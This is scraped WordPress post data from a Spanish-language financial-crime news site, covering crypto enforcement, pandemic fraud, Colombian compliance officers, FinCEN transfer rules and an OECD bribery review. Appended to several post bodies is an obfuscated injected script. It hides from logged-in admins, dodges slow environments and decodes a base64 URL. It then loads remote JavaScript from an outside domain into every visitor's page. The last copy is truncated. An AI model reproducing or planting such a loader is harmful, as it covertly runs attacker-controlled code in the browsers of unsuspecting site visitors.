cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof 